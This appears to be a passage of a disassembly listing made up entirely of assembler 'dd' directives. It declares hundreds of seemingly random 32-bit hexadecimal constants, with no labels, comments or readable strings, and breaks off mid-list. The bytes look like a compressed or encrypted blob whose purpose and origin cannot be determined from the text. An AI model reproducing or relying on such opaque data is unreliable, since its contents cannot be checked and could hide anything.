0A91A2ED2h dd 0CDA8FCC3h, 25B7507Dh, 6124255Ah, 7C4B35DAh, 0B0A9785h dd 346348C3h, 5CA2A517h, 0A3EE8B44h, 0C38DDEh, 0B8BF7C25h dd 499CE930h, 5102A702h, 4D40491Fh, 8C857D65h, 77047957h dd 0D2F201F4h, 21C6F141h, 0F4E5FA4Ah, 6C2EE079h, 7D045F1h dd 0EA70129Fh, 2175262Ch, 70A5CBB7h, 545F3414h, 0FA377522h dd 0FB722194h, 572856CBh, 4AEB98F7h, 307DB0BAh, 0DBB369A0h dd 0F8BF2D14h, 8BE6EF11h, 1822E33Bh, 3A90FE4Bh, 2CF957EAh dd 0BACBE87h, 87C545D2h, 0EE7C2D83h, 0DA8FD3D6h, 0E254DD45h dd 852E9DDEh, 0D607D6Bh, 0C32791A6h, 773D0CA6h, 0D27C7C17h dd 0DB8DBBD7h, 0FA7EE1E7h, 0EBF8230Ah, 0A3C21452h, 8B30A12Eh dd 11453B9Dh, 1553A345h, 43CFAED2h, 0A3BF7C31h, 0CC7AA8E2h dd 0D1197894h, 5362B909h, 9B45D879h, 0F2840EE8h, 0C32F17F1h dd 85273FA1h, 0FC6E303h, 0FA8762E1h, 77CAAFDh, 519542C7h dd 65E8C0AAh, 9820064Ah, 61044464h, 4D3C2AA2h, 459C531h dd 9043C085h, 0F65D8302h, 0E82AB2B5h, 7A9EA18Fh, 0E0EC7D17h dd 0E24B2CC9h, 7426554Dh, 23F0607Dh, 0C686C282h, 0ADC0D8B8h dd 39143503h, 1487F30Fh, 89424F3Fh, 4AA1549Ch, 0EAD57321h dd 1BD77354h, 886172CBh, 48C6D1D1h, 12C7937h, 6C40FF3h dd 8A366B15h, 351E41F0h, 2B1790BAh, 0E46B9208h, 0DAFF1C63h dd 2936F5EAh, 4DD775BAh, 0C883E489h, 0E6FEA617h, 24CB0774h dd 21B0BEC6h, 44A280A7h, 0B16680A9h, 0DF44927Ch, 154229E2h dd 427262E9h, 0FB10192Bh, 49A70497h, 84A98D99h, 258CE018h dd 0BA8FE25Dh, 616D26F3h, 5E050916h, 21753D37h, 0A2F31AABh dd 0A3FB2A51h, 1317E8BAh, 0C6229086h, 0ACC5F384h, 5DB98DB3h dd 86BFB1EFh, 0C1C9B4DEh, 0D35DB714h, 0CFE40ABAh, 69AE51B7h dd 48080C06h, 98491B10h, 32C25B44h, 9240E0C4h, 0C0CC4D80h dd 142743A1h, 8A850491h, 5AA3B952h, 0A8C5DA1Dh, 7C2A210Dh dd 2161D7DAh, 0CD22A32Dh, 38971153h, 0C486AC18h, 55C31949h dd 2B85E757h, 6BF0450Ah, 5FD208E2h, 4F1F6F44h, 1F783E0Dh dd 70481C2Ah, 63A8BF16h, 0A138434Dh, 0AAB2C662h, 4F5E830Dh dd 0ABA0826Eh, 0D5615A49h, 0A9439A4Bh, 0BCDC31A6h, 0C601B8Bh dd 0AA8385E9h, 0EE4885D9h, 7EFE0572h, 282EA745h, 0B4108943h dd 77ADB22Bh, 0E5D7A54Dh, 0C48A9838h, 674058ABh, 0E64C3AE0h dd 1744497Ah, 816B46CDh, 6111588Bh, 66C0D714h, 814ED652h dd 52E74F5Eh, 0AF9545ADh, 7A073418h, 0CD68DFB4h, 0C1207E74h dd 80377425h, 862345E2h, 3FBA1046h, 4BD7F1Dh, 604AC494h dd 0C40806h, 0CADAA8ECh, 857A0D43h, 7902F1C2h, 46C062ACh dd 45E98FECh, 5117D710h, 0D184DA34h, 0AED1A428h, 5D7E5E83h dd 93DC6F54h, 0D020D9CBh, 0D247F016h, 228A2A05h, 0CAC7DE3Bh dd 0BF37EDAEh, 9D312A8Dh, 0EE863D0Fh, 2D25D25Ch, 57AD182Dh dd 603CF0B9h, 2CD5D192h, 0B2BAC323h, 0C1FF9749h, 5D8F9694h dd 21418CB9h, 0C0C1CA06h, 98D0506Dh, 8851EDF1h, 408B0D95h dd 0CEB39A66h, 59DDB772h, 2D15A24Ah, 346194BCh, 0AFB40546h dd 157CC686h, 84C56A45h, 6D14552h, 2FBAA323h, 8F73E933h dd 9D11321Bh, 5B78F60Ch, 45F47C18h, 6D05023Ch, 50F283C8h dd 22165B00h, 7E75581Bh, 76FB77D3h, 7DEB727h, 26F342BCh dd 512EEC66h, 47FE9897h, 28D9E25Eh, 0F630F0C6h, 0F5ACF308h dd 0CD157F3Ah, 395A0D1h, 229E0315h, 9AF25B03h, 0F17C755h dd 0C6F91D0Bh, 0D7DED9E4h, 8D13F0BEh, 1E73B8BAh, 0D735DF86h dd 0F3780C6Dh, 4A5531A8h, 6934C3CFh, 6E7458DCh, 1D5E6BD4h dd 9E161EEh, 0B455ABFAh, 6883509Dh, 9185147Eh, 9490AD93h dd 0C9497DB8h, 5D6132E0h, 0DF56E884h, 5AF9FD26h, 514088CEh dd 0AE2B46A8h, 97A07545h, 0A347FA80h, 33D5ADD3h, 0C7575FA5h dd 177C69FCh, 618F6F58h, 0EAE0811Ah, 260A07FEh, 17EF5DF0h dd 0E51CF1C6h, 4EE3E260h, 8FA92AB9h, 2AB853BDh, 0A5E4DE49h dd 0C54735CDh, 0DF83317Eh, 4A1B40C9h, 80F2F15Fh, 3755F0B9h dd 0BABC9F9h, 658279FDh, 0FC2B6BF4h, 57AB80D8h, 0DD624031h dd 5D3773D7h, 0F37D347Bh, 0D260FECh, 280F18F5h, 32A74FD8h dd 794D4FE2h, 13D6B5F4h, 0C15915BAh, 6B206D7Eh, 0EDDA9288h dd 0A27E3041h, 80E2BD8Ch, 5EE62560h, 821FE523h, 95E5C5CBh dd 0F2A2315Ch, 0D0F02C66h, 0F91F50D0h, 0B34714AAh, 5B91863h dd 0B41FE0D4h, 61A5A11h, 0A4E59D4Dh, 0C7810246h, 530575FCh dd 6A3C138h, 5DF7CDFBh, 5781A58Ah, 0A1E5725h, 0F0898A05h dd 1FA7059Ah, 0A1E8B22Eh, 0FAEDE026h, 258B18E3h, 1F271105h dd 0E54B23BFh, 0E4A9D1FEh, 242BBC4Eh, 4296B203h, 62280BF0h dd 0DA128E98h, 1DA25091h, 51DA84C9h, 65342848h, 14834484h dd 0EAE88823h, 14E3E1A4h, 88DFF63Ah, 0B95D761Eh, 2D22EEC1h dd 4DB965B0h, 0B8286A1Dh, 1B542AECh, 82886995h, 0C08E7DFFh dd 5C283BA8h, 802B850h, 0D802EDAh, 0C5950B83h, 8984B040h dd 6475D2D0h, 12692645h, 0B1641F5Eh, 0C8B93B1Dh, 0B5AAD475h dd 14A55565h, 0D1691074h, 8FAE9578h, 7D22A2FEh, 0AB9ADCC7h dd 3581388h, 440809D4h, 5702862h, 5066F07Dh, 0FA8C99D8h dd 108FBBBDh, 0C4922972h, 25DD2EEDh, 16032D1Eh, 2660E66Bh dd 49F76EADh, 0A4632A23h dd 0D8BEF882h, 0C421F28Ah, 0FB91016h, 402EC442h, 2B21FA4Fh dd 1257B54Fh, 2A914D1Ch, 3CE6E62h, 339883D3h, 0AD67BE0Fh dd 8F03B1F2h, 0CBC09184h, 482F7ABCh, 2B94A178h, 54913C03h dd 0D3C90BDBh, 320B5D91h, 3046FA44h, 0D035E123h, 0AF80BA7Eh dd 0A79202h, 0F04B9EDAh, 93D0614h, 114FACD0h, 58120A1Ah dd 260271A9h, 0C5E57C01h, 0C13A6A14h, 58129025h, 8AED048Ah dd 0DA57A30h, 95A58F5h, 4350A04h, 5DD9E90Dh, 0AD21712Fh dd 2B088794h, 20A84945h, 0B3A28593h, 49D2C450h, 430A9504h dd 11236901h, 4D288A53h, 369988A4h, 0D58F121Ah, 4F535288h dd 197645D7h, 0D475E86Dh, 6437D69Dh, 5A05BE0Ah, 0DE01FBA7h dd 51A160CCh, 4F12ED00h, 5ACC4C18h, 4B84C581h, 20395603h dd 51481492h, 0B139F744h, 169787E8h, 6BDBC0h, 4858CADFh dd 0BC511B80h, 8BE8012Ch, 0F6D47D68h, 0B441CABh, 378703B5h dd 66496555h, 51553FC8h, 0EB5CF4D6h, 222029DAh, 30AA0A4Eh dd 155E61Dh, 401DF51Eh, 0D8764193h, 8DB507E7h, 54A530E0h dd 1D4713E5h, 14CBE6F1h, 0AD5C009Bh, 2325D614h, 84A21B46h dd 0D36E092Eh, 0F533FB80h, 500CDB85h, 107E99B7h, 93B6BE99h dd 0D45AEE7Eh, 4ED888F1h, 539631F9h, 0F06923C7h, 18184C5h dd 8DA0415Ah, 0D00CC601h, 0CC4B198Bh, 8D446C00h, 90E29ECCh dd 0A341021Fh, 4BF1B44h, 828CCB14h, 5FC8605Bh, 0E75EC6h dd 0B441067Fh, 0E3345A92h, 0A99D0705h, 6AA355D1h, 0A9565EA9h dd 0FC3507CAh, 5B5A8757h, 2A5397DEh, 0BE9688Fh, 46358AF8h dd 495D285Fh, 6A156BA6h, 5258BFF8h, 0ABA0DBFDh, 2A0F284h dd 9AC0232Eh, 0C58517BAh, 54222358h, 4D1557E2h, 0E7C99DD8h dd 0EE0F7E00h, 0C62C1483h, 0E7957A8Fh, 35721260h, 7C35A13Dh dd 0EA203CBh, 16F4140Ch, 630ABC6Fh, 0B32B6281h, 5831AAF0h dd 686AFD68h, 1B6BEACBh, 77E00F59h, 1EFA6307h, 23DFFE11h dd 47B1FC8h, 608F03FAh, 0FEEBD87Fh, 0F8551981h, 0CF8D6F0h dd 43D12500h, 0FAE521ECh, 8A8906B4h, 823F2F44h, 0C51DF938h dd 898FB68Fh, 18F5C863h, 47D149F2h, 0D7B601EFh, 3E4083FBh dd 623E4FCAh, 0F8A4E1EDh, 70C9CB29h, 0B351541Dh, 0C74C358h dd 3AD89A80h, 3BC750ABh, 0B22EF08Fh, 1D52919h, 2EE0C36Ah dd 2272C9DCh, 1FC5AAC0h, 798311BFh, 57EE5673h, 0EB04902Ah dd 0BF6F7C51h, 7F513F6Ah, 5D76ADF0h, 0CCB9722Eh, 0C321DAE8h dd 9A388CEh, 0C9F8CEBEh, 0F826BED7h, 0B3AFFEBAh, 1DADF307h dd 17E08270h, 5E20487Fh, 0B1D5559Fh, 0D2FD6580h, 0DDE7E3C4h dd 5C630129h, 7BED7665h, 9C6A8675h, 0F2B45A56h, 855C4424h dd 1DE869E8h, 4410E218h, 0BF73A1ABh, 4801FC12h, 0D18E4C21h dd 3EBCC61Ch, 0A0D632Bh, 0D4446E2Fh, 113B42D1h, 36ECD2F6h dd 5D7FAD0h, 0E16EE77Ah, 4237F4A0h, 0D97090Eh, 0C62A3130h dd 7C4AF4A0h, 2331BF9Fh, 4BFBA15h, 9A08298Bh, 860C5C65h dd 2AD11BAEh, 0FB23064Ah, 14BBA9CBh, 683E75F2h, 0ED66968Fh dd 5FAAA8E8h, 5CEE98D7h, 463A2534h, 3FB03EF6h, 66CFB266h dd 0B3BE2A5Dh, 19D8AF28h, 5750C0ACh, 915DB0B3h, 7A00EA60h dd 3E1543A6h, 5DA87DE3h, 0EF42D91Ch, 0B95C0A43h, 857CC034h dd 0D3C0E741h, 0CB955CAEh, 236C41Ah, 0C9B6CE75h, 0E23D180h dd 3EA56254h, 0E0E8C26h, 55716602h, 2AF27B7Ch, 74B4CAA7h dd 2B8F8631h, 0DD4D4247h, 0ADE4E198h, 12DA7497h, 0B44A60C1h dd 6457FF86h, 0B45D178h, 9C563D71h, 0A667D184h, 0E019C98Ah dd 0B0153EA8h, 2BE92B64h, 4198396Ah, 0A2C68131h, 0D31D478Eh dd 48C6D10Bh, 27D0DE11h, 803319FDh, 0D7F6213Ch, 7224701Ch dd 8B429E4Fh, 614C2985h, 0C9B2CAFh, 0FB782C96h, 0A838CB6Dh dd 499416DEh, 80648AC9h, 0DE0FFAA3h, 4187ACD2h, 2DD0BA76h dd 88F1F8EAh, 3A014531h, 6216D4E5h, 33F227Fh, 31182F90h dd 0E41B0236h, 3DC3D95h, 105D0B84h, 36E1E97h, 0E8EF6E84h dd 4E1C4D6h, 0F200A246h, 12EBE0CFh, 0B7D9DD31h, 59B1F87Fh dd 4C9249EEh, 9ECFAD18h, 4860B44Ah, 2734BA39h, 0DB41F95Ah dd 48B59F54h, 1973F55Fh, 4526F15Ah, 56921193h, 0FA18B4h dd 30F86873h, 0A42CBEE3h, 0CC5DFF8Ah, 6AE8B211h, 4BD5D001h dd 978F0CC0h, 2F18D282h, 59D52502h, 648C55AEh, 9C84380Dh dd 1F4FCB18h, 53199652h, 0E4487455h, 0F815655Eh, 9FAA80F8h dd 2FA27AA1h, 54122328h, 0E4C5005Dh, 12031D41h, 455907E4h dd 0FE2B8801h, 0B7B52AC1h, 2FA34630h, 0DC825F12h, 6A3C9FD9h dd 0B3F4BAB7h, 0A82900A4h, 0F3288E96h, 0BD574DF4h, 0F9E9A1C5h dd 97F57B6Ch, 6B5A749Bh, 5FEF94C7h, 8C7923FCh, 0DA1CCC6Eh dd 0C400D11Fh, 0F4FF2D1Fh, 0FB74E4A3h, 81878189h, 45D43E4Fh dd 171F459h, 4590D5E5h, 5562F6EBh, 9306001Ah, 0BF229316h dd 0AC258690h, 0C983D02Bh, 0BA7B7DA3h, 3469415Eh, 0F5320910h dd 20444224h, 4151088Dh, 919495A6h, 3441A308h, 4B0C832h dd 0AEBA120Eh, 0AA578498h, 524D4B59h, 0BC0CE1B1h, 131A1650h dd 89680E7Dh, 140AD794h, 6D7B9A33h, 29D4462Ah, 0CC7A0A91h dd 17CA549Ah, 0D66AA713h, 6882F617h, 0F40E5A2Bh, 0F180651Dh dd 0A03D7ADEh, 1E16AA80h, 0E062E2C3h, 4A3E5D11h, 771A68CAh dd 0DED1F9EDh, 0B24B4703h, 0FF47E4C9h, 66282BB5h, 8B913D72h dd 0BE3F3A8h, 2C5B466Ah, 28297D89h, 0B9940118h, 28446C8Ah dd 808D00F6h, 1E5D640h, 6EFBF280h, 492A919Ah, 672E2B20h dd 0FE80C153h, 4D063BB8h, 17983011h, 9669A671h, 3696711Ch dd 0C7FD87E9h, 72617E91h, 65118E14h, 3D157EAAh, 0AD9A4976h dd 5C15975Ch, 0A3A18ECh, 95F22898h, 75218909h, 4075917Fh dd 0F3A0D2EDh, 21323DE3h, 84343AF8h, 29FD5FECh, 0FAEEAE76h dd 697844EFh, 0E7CAFFCBh, 0FB7FE772h, 0E78C9238h, 7D0F5D76h dd 94507DF4h, 0A4AA12C4h, 7245540Ch, 82DBA044h, 50D39EF8h dd 0D3543F7Bh, 3E5EA768h, 974AE96Ah, 0EB872F48h, 9238426Dh dd 9D3DB3CAh, 0D414BFC5h, 74CDA929h, 0C8DB69DAh, 57051FBDh dd 8626C4DAh, 0CEE46F36h, 5AB3070h, 654B97E0h, 7F8088C4h dd 761D3534h, 45DD45B4h, 0DDA2F809h, 5DD3FD0h, 0B26F172h dd 2D4D5B5h, 64A08488h, 391E0C62h, 0BC4444EFh, 0FA08C862h dd 59171FB2h, 7703F7CBh, 62758FAh, 4755A57Fh, 56995629h dd 0F150A347h, 0F71747AAh, 0A40A328Ah, 0E454F185h, 5F2EE1Dh dd 2B69166Dh, 0C49D8EAEh, 0AAF80CF5h, 66A6583Eh, 5431DD2h dd 2813FF15h, 0DA2E1EB9h, 48B3178Eh, 0E7FB0164h, 48B6EE65h dd 87EE872Ah, 67C02ECAh, 0F834E256h, 447E354Dh, 0A9EBF90Dh dd 0FE6DB559h, 0D9AA5421h, 0EC90D97Ch, 0F04E0EF8h, 14878467h dd 0EFA5A441h, 934145A5h, 4EBA36Dh, 0F77EE342h, 85B44437h dd 0E5D3211h, 5D6672E9h, 0B448CDE4h, 85922475h, 49C95AEEh dd 0B109BFCFh, 0F66350C3h, 0A2AAA981h, 507B202Bh, 0A3BB2867h dd 444BB55Dh, 95145616h, 65100235h, 0F2C15119h, 0D175076Dh dd 0E7B5FE57h, 75EB08BEh, 65018D0Ch, 2866E71h, 858CA411h dd 0AAC1B892h, 0A856056Ah, 89A6C057h, 6015F973h, 8DA2A451h dd 10BAAD6Eh, 0E58CC469h, 3B0FC6DFh, 0A129766Eh, 0F449A8CBh dd 0BF1E3D81h, 21104A43h, 776DE8B5h, 22432935h, 42F4D4CCh dd 5575658h, 4CD44391h, 9F52B506h, 4267F5EFh, 4C2CD95h dd 894816FEh, 83BE6CFAh dd 9548C999h, 3CB81C77h, 0A895F30Bh, 7E89A88Fh, 46BCDEB7h dd 3A8A94EAh, 7EA4FC86h, 0DA91685Dh, 1C53C583h, 5E481058h dd 28A1B51Ch, 0EF15A2ABh, 526D744Fh, 0C0A1FA9Ah, 70FE8132h dd 0C06971A1h, 373DA068h, 30409218h, 29079EB8h, 64F6ABBDh dd 0F3652C31h, 0B2633B68h, 411C1036h, 86C9C385h, 46B063B7h dd 11ADA6CDh, 0F6DCA9D2h, 0B63A1985h, 0B7AECFA2h, 0FCBE8D83h dd 978F1CC1h, 2C495B72h, 516325Fh, 579F7FEEh, 6647B466h dd 2BCC7861h, 5EA4E77Eh, 0E469A3ABh, 8B082154h, 0F43847C1h dd 2B4B5615h, 2DFC9CBAh, 475EEA3Dh, 72D158B7h, 0A552E42Eh dd 2EC2B02Eh, 0BC6AB5D2h, 167BCF3Ah, 4B4601A9h, 0FB0AE66Ah dd 0E970D1CDh, 122DABD7h, 0B545FF3Bh, 4B6C106Dh, 3E348713h dd 0D83D5D6Eh, 34589803h, 868EE80Dh, 0BF9C4985h, 33135CAAh dd 520A18CCh, 0DBD5F8FEh, 4E8D7934h, 8D88596Fh, 318A312Fh dd 71B4A3FCh, 0C5CC15B5h, 9A4A5E74h, 0E16CE289h, 5FE1BA49h dd 50762665h, 0B5596514h, 0BF8EB623h, 0BFCD4DDDh, 0FCC333F8h dd 0A842729Ch, 6CEFAF2Ah, 0E077CE82h, 948F81C9h, 5948C177h dd 89F9F1ABh, 0D08AFD2Dh, 308CF442h, 1E671A4Ch, 9C085D12h dd 374584BBh, 75257949h, 48110207h, 98AFD3E9h, 0D72CD669h dd 68C6C525h, 16CAAA04h, 0A0721B28h, 0B28280A8h, 42C98C47h dd 60CB3E6Dh, 0BB4F414Eh, 0B4A44892h, 4B9A6381h, 0FA81BA9Ch dd 0E2CB880Bh, 4B292A3Eh, 95DAF2A2h, 81757247h, 0E92EF09Ah dd 7E58A3D8h, 1AB49585h, 59EA7BD7h, 4D2B7318h, 0EC03CBD5h dd 3BF27365h, 0F58AF572h, 8D5EEFD7h, 0AD4A5DACh, 0CC9DF3E8h dd 0F28CF148h, 316FCC6Eh, 71988CE9h, 0C3FE1A81h, 9BD3BC7Dh dd 7A9160Ah, 0E94A9A3Bh, 3723A345h, 0E79D4BBEh, 2BF4B05Ch dd 95D7D5CDh, 0B5464BD0h, 0D14409B4h, 0DE441EAEh, 0C912A281h dd 0C808882Ah, 4817FB9Ch, 5F2FDEB8h, 0CBA6F915h, 8A72700Eh dd 22A5D0CBh, 87F0BB19h, 0B41775F0h, 61D860CFh, 64E730AEh dd 0FCF151B0h, 8D7D01B9h, 22562AC4h, 55B95EC8h, 0D75288E6h dd 0BCD59BFBh, 0BD1C6725h, 566453DDh, 2D8AEC2Ch, 0C401FFA1h dd 89E33B10h, 689DE462h, 0BB0A22ACh, 0DF4516F9h, 2315FF52h dd 55E3565Dh, 0AAB30B51h, 0C7E0CB4h, 0D7EF7B46h, 5D5F2117h dd 12829390h, 62142310h, 2380B0F0h, 558EC1F0h, 0FA8849DCh dd 0C994D846h, 48A3147Fh, 21D1569Ch, 43B2AB7Ah, 6976EDDBh dd 43A17AD1h, 2FE31348h, 0F02BB515h, 35D06B34h, 0D21AE716h dd 0C22F6CC5h, 95FEFBB2h, 5CC773C7h, 57BC4F17h, 0A92A0A42h dd 1E90C60Bh, 0B093DF03h, 85074495h, 591DA007h, 0BB96DB97h dd 0EEBD3E63h, 8122807h, 915D13DFh, 0E82C4ABFh, 54D95047h dd 88664053h, 652CAD36h, 5155955h, 1A5FD191h, 894C3300h dd 8FE670ADh, 66A07456h, 0B1335420h, 2B46ACAAh, 0B8127F1Ch dd 616D16D1h, 7186D1DCh, 2C812089h, 3808CE02h, 1A79CCCBh dd 9AF0108Fh, 0E21A044Dh, 0AABEF9AFh, 0AEE7523Fh, 0EF60CE98h dd 8FA86B2Ah, 5186CABBh, 8D40DA25h, 0A237D278h, 2C0F4601h dd 0F2F0493Eh, 585E1FBh, 1D7EAA83h, 8A0ACB43h, 59007428h dd 345C69EBh, 0C6552C9Eh, 9498E651h, 0A027FE0Ah, 202221D8h dd 11815535h, 0CE775FC9h, 8FADCA6Fh, 0BF0AC12Fh, 2D44C088h dd 0B14121BCh, 8D8E0AB4h, 1C4EA31h, 0C491349Ah, 82AF8118h dd 0C03981C9h, 9426E5AAh, 7B37344Ch, 18464B1Dh, 553C8D26h dd 0C66901A5h, 31A8AD32h, 0AD52BD0Bh, 0D157569Fh, 7F810596h dd 0E6157ABEh, 0B60A055Dh, 974B1CEDh, 0C9DB84Eh, 24834862h dd 55FED690h, 2067DD03h, 9D974AB1h, 73868B46h, 0A8FA8E25h dd 4AEC1F61h, 0D3FF3D24h, 0D00E8B01h, 71CBC664h, 5F26E289h dd 1500CA15h, 9055314Bh, 4090565Fh, 0D024FCAFh, 26998C24h dd 7DCE511Ah, 0A24033E9h, 2ADE7E01h, 0BEB197AEh, 98C46471h dd 9089424Dh, 0CF086E33h, 0D67D0275h, 0AB97489Dh, 5614E880h dd 60EC44BAh, 0A4E88AA3h, 6BE20431h, 4F01CA70h, 5C80C2FDh dd 8D1C4190h, 0CA856240h, 955F5311h, 0EAA2A329h, 0CF5DB690h dd 3D1982D2h, 922B3996h, 722041F8h, 26944A3Dh, 882A908Ah dd 24EC0456h, 0ABA3FE4Dh, 0F3525FEEh, 491744FBh, 0C8C2289Ch dd 0D067D329h, 0F9183452h, 0CCB92CAAh, 0C00AE04Ch, 1917EABEh dd 7F40D056h, 47DC00B1h, 30D1765Fh, 17D355F1h, 0F2BAC053h dd 6EB34148h, 3F375966h, 8323D2Ch, 7479F873h, 0F4C5FA73h dd 0E209576Eh, 0F748534Dh, 974E68D6h, 0E128A06Fh, 53D8E049h dd 6175D144h, 4D37885Ah, 69114629h, 0A57A89C4h, 7432A30Ah dd 3ABA1762h, 0CB224F8Dh, 0E05A01ACh, 848B13E6h, 2BD17DDCh dd 0CEBEE31Ah, 0C0A6ADD0h, 4E5553B2h, 0B5FDD1DDh, 599A2EB0h dd 373736F9h, 8BAE7FE4h, 0EF8311C8h, 0C52952E2h, 0FAE762FEh dd 0AD65052Eh, 9967223Eh, 55D45A2Dh, 56B6C7F4h, 93891FC7h dd 404867D1h, 702330EAh, 49929175h, 0D342C527h, 0A2C0DD74h dd 0EED4CB55h, 517416AAh, 275F4CBAh, 61F13184h, 67D130D4h dd 9148FC22h, 58CA5652h, 4EA9830Ah, 0CF73CB2Bh, 6D19819Eh dd 24831867h, 3F31DDCCh, 622B2BFDh, 0DF23B6CCh, 500D4361h dd 0E341BA89h, 2CEB2BA7h, 0BF0B424Bh, 0BB59030Eh, 21CB242Eh dd 7DA40AA6h, 53FBA459h, 0E9A65988h, 1A48DD55h, 0DA806233h dd 2B8A5C95h, 5278ADAh, 0C7031AABh, 0BDADAE2Ch, 8B80C68h dd 24114D2Ch, 0A01FAE1Fh, 0D38B0F45h, 24D2D4Bh, 0D6F92AE1h dd 0B7122F6Bh, 0BA633E6h, 0D57FDB08h, 0AC7F7F40h, 0D1D908DCh dd 65D1157Bh, 6BAC8612h, 2B8E768Bh, 632C6C14h, 77813AA6h dd 0BE7AAF3h, 0E555C1B5h, 94D75B13h, 0B8EE39F0h, 22AA76ABh dd 8E20ACC3h, 5D6AB7FEh, 38B4F455h, 49686682h, 6ECCE7AEh dd 828EA28h, 4AAB2EE3h, 4120FE6Fh, 0B4CB84CBh, 424948B9h dd 7D2E229Ah, 0AEB6F545h, 83A8549Bh, 3D369F1Bh, 0E08F6C35h dd 0C308F42Eh, 75A64A95h, 0BD78E501h, 0F163B26Bh, 640DD501h dd 65F6E662h, 62BFE611h, 583C1C68h, 55ED2E34h, 9997C155h dd 0C43E598Fh, 0ACE1527Eh, 7A61923Bh, 0B05A7D94h, 0C8B07C85h dd 0D90B4E6Fh, 3DA34244h, 0B6C16F5Dh, 0BFA042B4h, 7F03727Ch dd 260C5781h, 0A6825D4Bh, 0EB8A67E7h, 8BD037D1h, 2A4FAFB2h dd 0BA85411Dh, 8B52905Ch, 6AC0BFD3h, 0E3313E3Fh, 5AB0FEA0h dd 5BBC3228h, 0DD6A2328h, 172C7CCh, 8B225054h, 0E4D1B57Eh dd 0F57F961Bh, 7C2482D2h, 0F8A494A7h, 10EC0CABh, 0AC2113E3h dd 3ECAA416h, 0CA414A41h, 95B7A7E2h, 765F2A84h, 3BAB71C6h dd 432F2AE9h, 0D0FD79BAh, 0FD1DEE31h, 0AFD87955h, 2AD56F2Bh dd 47D88A4Ah, 7C087643h, 8C678315h, 63BE37DEh, 0B662FEF5h dd 0FBF0F934h, 5D657A41h, 1073377Eh, 0E1D54ABEh, 838A0AB5h dd 0EC41931h, 3439C5D6h, 0FB6E73AFh, 0ED94D875h, 0D82AF62Fh dd 0ABEDB149h, 0E3EC43F1h, 293C9EC1h, 74B249F9h, 44066EEBh dd 0F5158B24h, 0F47C6737h, 2C57203Ch, 8AA289Ch, 9019AE86h dd 0E66D6D93h, 1B89B35Fh, 54074A77h, 89058BA4h, 61464402h dd 2721F228h, 84811831h, 1F8BC175h, 549BABBAh, 4AC18E17h dd 546DA819h, 8C8813B0h, 0B6561579h, 0E5942538h, 0FB55FF8h dd 0D74E18BEh, 19AF7F29h, 0BF5A63E8h, 4E55D795h, 2C714964h dd 0AAFB0ECAh, 575F567h, 50F6370Eh, 0D57A8911h, 12FAAE2Fh dd 64504401h, 0A1538F06h dd 3832B2Fh, 605E6ABDh, 4760B802h, 2C498C51h, 58C6C226h dd 0AADAE570h, 0B4497D75h, 0D5EF80D8h, 2B119573h, 86235A76h dd 909D6274h, 26B8D616h, 0BFE5F221h, 2088D557h, 2D1C1A2h dd 58061DFh, 4CFDFC5h, 528CFED1h, 74AFBEE4h, 67F2A636h dd 0C188A2F5h, 6BF11E60h, 27AAFC67h, 9EC79E47h, 0BB09BD4Bh dd 9120D119h, 46D800EFh, 773374BFh, 0A8C62B4h, 411ECAC4h dd 0DC21A4B7h, 8D72900Fh, 454EA131h, 0FC20FDCh, 0FA222239h dd 280469Fh, 3CAB9028h, 2486908h, 0FD2BB1FBh, 3CC18B9Eh dd 74ABBB14h, 0EF49E8B4h, 3018674h, 0FA99BD2Fh, 0AA88D55h dd 0C68168E0h, 905C21Fh, 44B9C6E3h, 0E065B2B1h, 0D1D26B92h dd 648CC021h, 0EB2C2311h, 2D0F8467h, 6650ABA6h, 8256C80Ch dd 317853ACh, 0B3737EE7h, 2302D3B2h, 0D2EDC85Fh, 96576DA5h dd 6827056Ch, 3A6BEBC0h, 0F6A89206h, 688EFCA1h, 227C814Ah dd 0CA40562Bh, 95730493h, 516635D3h, 0D35BD22Fh, 6ACFFCBDh dd 28D14D81h, 50CF68CEh, 147BFD90h, 0A2F14F11h, 0C24FA0C1h dd 4C30F8E5h, 6C974BE1h, 6435933Dh, 2CE3CCADh, 93F0B50Ch dd 803376B7h, 0DE03E828h, 76F8996Eh, 83EE295Bh, 75E7D2E5h dd 68AE931Eh, 6D4090DBh, 0A069E919h, 0D3526988h, 5558C04Fh dd 7433FF40h, 22C34655h, 0E0DF4056h, 47195A2h, 0A5977FD6h dd 0F6A17F87h, 0E543762Fh, 2F12DC7h, 0F93C3CE4h, 0A1A77FA6h dd 0A245A428h, 5B8E1156h, 0EB2A5FEEh, 0CACABE8h, 8D368CC9h dd 4032EFA2h, 50AA9BD9h, 0F33AAAB5h, 0C410D777h, 0C4A388AEh dd 0B7EA228Bh, 0BB9FECABh, 72EEC204h, 7493BCC3h, 6B2B7FE9h dd 8ACDB18Fh, 70002AEAh, 50F37474h, 66279975h, 0A91F1471h dd 0EF22E3C7h, 4A577665h, 0F865AFE7h, 32223ECAh, 0A9988C3Fh dd 0AB714319h, 8794D999h, 0DBB089F9h, 7A3EB541h, 0FC0DEE23h dd 80D47FF9h, 0F301116Ah, 0A85931A1h, 0F98CA592h, 26309240h dd 31202ABEh, 80341952h, 8CCA3E38h, 178461Fh, 6FDC3AF9h dd 73163EA1h, 16A001D8h, 8034C064h, 4C583C16h, 57D546F9h dd 68257A02h, 0D8C88FCCh, 676043F6h, 48336E40h, 99B57C1Ch dd 0A840B0F9h, 61024616h, 54C48AC4h, 0CBD71D86h, 0FC09E540h dd 0C5099E68h, 10D7C03Ah, 0C41607A3h, 2DF18720h, 36761817h dd 0E31B1C98h, 0FDD2769Bh, 67E938A2h, 403FE361h, 39014B71h dd 0C061882Fh, 2E8D93A8h, 60A33346h, 4C942D49h, 0AEB1A64h dd 31489A5h, 5C8A8A8Eh, 0C9A24532h, 0D3279164h, 204C2A46h dd 8CDF48A9h, 1E38A026h, 0CCCE2AB7h, 1E3265ADh, 0AE96A395h dd 5571F238h, 0D535679Dh, 0CFAE3918h, 0BF54B67Ah, 0F542620Bh dd 0CB30F367h, 0CCB634C4h, 0ADD4E2CCh, 0D7A7F33Ah, 0EB8DE9DEh dd 0DC599B0Ch, 63334E7Ah, 0F877A108h, 1FC2A88Ah, 21253890h dd 0A54C01DFh, 62E1EA81h, 0D02C2815h, 2657B68Eh, 0B5D401A4h dd 2D62C10Fh, 0FDA3BC16h, 885EE88Ah, 80654733h, 160533A9h dd 0D84F684Bh, 52136159h, 20152309h, 0BA8980CAh, 2ACBE6D1h dd 0E83E2BE6h, 5A086E8Ah, 61EC2BF2h, 288C9686h, 34510A89h dd 768091A8h, 4C6305A4h, 0E461D88Ah, 58A02909h, 847291FBh dd 7B0D2790h, 3710E932h, 2E1C2280h, 0F7514686h, 91D63A17h dd 11C90545h, 573FE67h, 803C1212h, 